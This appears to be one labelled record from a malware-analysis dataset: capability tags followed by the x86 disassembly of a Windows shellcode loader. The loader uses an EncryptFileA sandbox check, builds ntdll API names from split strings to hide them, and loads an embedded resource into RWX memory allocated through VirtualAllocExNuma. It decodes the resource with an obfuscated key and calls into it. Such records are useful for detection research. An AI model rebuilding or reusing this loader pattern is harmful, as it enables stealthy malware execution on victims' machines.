Function at 0x401168
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x403720
sub esp, 0x18c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.EncryptFileA
push str.Advapi32.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.C:WindowsSetupStateState.ini
call eax
test eax, eax
jne 0x403d85
push ebx
push ebp
push edi
xor ebx, ebx
push 6
mov edi, 0xf
push str.LdrFin
lea ecx, [esp + 0x150]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10c], 0xa
mov dword [esp + 0x110], 0x1e55
mov dword [esp + 0x114], 0xc0c
mov dword [esp + 0x168], edi
mov dword [esp + 0x164], ebx
mov byte [esp + 0x154], bl
call fcn.0040105a
push 5
push str.dReso
lea ecx, [esp + 0x80]
mov dword [esp + 0x98], edi
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
call fcn.0040105a
push 6
push str.urce_U
lea ecx, [esp + 0x48]
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
call fcn.0040105a
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x7c]
push ecx
lea edx, [esp + 0x150]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.0040114a
add esp, 0xc
push eax
lea ecx, [esp + 0x188]
push ecx
call fcn.0040114a
mov eax, dword [esp + 0x150]
mov ebp, 0x10
add esp, 0xc
cmp eax, ebp
jb 0x403841
mov edx, dword [esp + 0x130]
push edx
call fcn.0040694d
add esp, 4
push 3
push 0x41c1e8
lea ecx, [esp + 0xb8]
mov dword [esp + 0xd0], edi
mov dword [esp + 0xcc], ebx
mov byte [esp + 0xbc], bl
call fcn.0040105a
push 5
push str.Acces
lea ecx, [esp + 0xf0]
mov dword [esp + 0x108], edi
mov dword [esp + 0x104], ebx
mov byte [esp + 0xf4], bl
call fcn.0040105a
push 9
push str.sResource
lea ecx, [esp + 0x2c]
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
call fcn.0040105a
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xb8]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.0040114a
add esp, 0xc
push eax
lea ecx, [esp + 0x118]
push ecx
call fcn.0040114a
mov eax, dword [esp + 0x150]
add esp, 0xc
cmp eax, ebp
jb 0x4038fe
mov edx, dword [esp + 0x130]
push edx
call fcn.0040694d
add esp, 4
push 2
push 0x41c1d0
lea ecx, [esp + 0x9c]
mov dword [esp + 0xb4], edi
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], bl
call fcn.0040105a
push 3
push 0x41c1cc
lea ecx, [esp + 0xd4]
mov dword [esp + 0xec], edi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
call fcn.0040105a
push 4
push str.tdll
lea ecx, [esp + 0x64]
mov dword [esp + 0x7c], edi
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
call fcn.0040105a
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0xd0]
push ecx
lea edx, [esp + 0x9c]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.0040114a
add esp, 0xc
push eax
lea ecx, [esp + 0x16c]
push ecx
call fcn.0040114a
mov eax, dword [esp + 0x150]
add esp, 0xc
cmp eax, ebp
jb 0x4039bb
mov edx, dword [esp + 0x130]
push edx
call fcn.0040694d
add esp, 4
push str.ntdll.dll
call esi
mov edi, eax
push str.LdrFindResource_U
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41c17a
push 0x4236d8
mov dword [0x423590], eax
call fcn.00401109
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401154
mov ecx, esi
call fcn.00401118
push 0x41c17a
push 0x4236d8
call fcn.00401109
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401154
mov ecx, esi
call fcn.00401118
push 0x41c17a
push 0x4236d8
call fcn.00401109
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401154
mov ecx, esi
call fcn.00401118
push 0x41c17a
push 0x4236d8
call fcn.00401109
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401154
mov ecx, esi
call fcn.00401118
push 0x41c17a
push 0x4236d8
call fcn.00401109
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401154
mov ecx, esi
call fcn.00401118
push 0x41c17a
push 0x4236d8
call fcn.00401109
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401154
mov ecx, esi
call fcn.00401118
cmp dword [esp + 0x128], ebp
mov eax, dword [esp + 0x114]
jae 0x403ac4
lea eax, [esp + 0x114]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
call esi
mov dword [0x4235cc], eax
lea eax, [esp + 0x1c]
push eax
push 3
lea ecx, [esp + 0x10c]
push ecx
push 0x400000
call dword [0x423590]
test eax, eax
jl 0x403b0b
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
push 0x400000
call dword [0x4235cc]
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualAllocExNuma
push eax
call esi
mov edx, dword [esp + 0x10]
push ebx
push 0x40
push 0x1000
push edx
push ebx
mov dword [0x4235bc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x4235bc]
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
mov edi, eax
mov dword [esp + 0x20], eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0x70
push str.ML___cw49q_bK_eK_6rmYPMN8_OQ3M_A8z_q1TLgcvOnC8SKm7f___da_IcDmL9BbGdnU5zUCJwC_UG94_Bv7w_EQ_fdg21C8coAzpV__Lf
call fcn.004010aa
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x2c]
lea edx, [esp + 0x20]
push edx
push eax
push esi
call fcn.00401172
add esp, 0x18
call esi
mov ecx, dword [esp + 0x1a0]
push ebx
push 0x4010f0
push ebx
push 0x65
push ecx
call dword [sym.imp.USER32.dll_DialogBoxParamA]
cmp dword [esp + 0x17c], ebp
jb 0x403bb4
mov edx, dword [esp + 0x168]
push edx
call fcn.0040694d
add esp, 4
cmp dword [esp + 0x74], ebp
mov esi, 0xf
mov dword [esp + 0x17c], esi
mov dword [esp + 0x178], ebx
mov byte [esp + 0x168], bl
jb 0x403be1
mov eax, dword [esp + 0x60]
push eax
call fcn.0040694d
add esp, 4
cmp dword [esp + 0xe4], ebp
mov dword [esp + 0x74], esi
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
jb 0x403c06
mov ecx, dword [esp + 0xd0]
push ecx
call fcn.0040694d
add esp, 4
cmp dword [esp + 0xac], ebp
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe0], ebx
mov byte [esp + 0xd0], bl
jb 0x403c34
mov edx, dword [esp + 0x98]
push edx
call fcn.0040694d
add esp, 4
cmp dword [esp + 0x128], ebp
mov dword [esp + 0xac], esi
mov dword [esp + 0xa8], ebx
mov byte [esp + 0x98], bl
jb 0x403c62
mov eax, dword [esp + 0x114]
push eax
call fcn.0040694d
add esp, 4
cmp dword [esp + 0x3c], ebp
mov dword [esp + 0x128], esi
mov dword [esp + 0x124], ebx
mov byte [esp + 0x114], bl
jb 0x403c8a
mov ecx, dword [esp + 0x28]
push ecx
call fcn.0040694d
add esp, 4
cmp dword [esp + 0x100], ebp
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
jb 0x403caf
mov edx, dword [esp + 0xec]
push edx
call fcn.0040694d
add esp, 4
cmp dword [esp + 0xc8], ebp
mov dword [esp + 0x100], esi
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
jb 0x403cdd
mov eax, dword [esp + 0xb4]
push eax
call fcn.0040694d
add esp, 4
cmp dword [esp + 0x198], ebp
mov dword [esp + 0xc8], esi
mov dword [esp + 0xc4], ebx
mov byte [esp + 0xb4], bl
jb 0x403d0b
mov ecx, dword [esp + 0x184]
push ecx
call fcn.0040694d
add esp, 4
cmp dword [esp + 0x58], ebp
mov dword [esp + 0x198], esi
mov dword [esp + 0x194], ebx
mov byte [esp + 0x184], bl
jb 0x403d33
mov edx, dword [esp + 0x44]
push edx
call fcn.0040694d
add esp, 4
cmp dword [esp + 0x90], ebp
mov dword [esp + 0x58], esi
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
jb 0x403d55
mov eax, dword [esp + 0x7c]
push eax
call fcn.0040694d
add esp, 4
mov eax, dword [esp + 0x160]
pop edi
cmp eax, ebp
pop ebp
mov dword [esp + 0x84], ebx
mov byte [esp + 0x74], bl
mov dword [esp + 0x88], esi
pop ebx
jb 0x403d85
mov ecx, dword [esp + 0x140]
push ecx
call fcn.0040694d
add esp, 4
xor eax, eax
pop esi
add esp, 0x18c
ret 0x10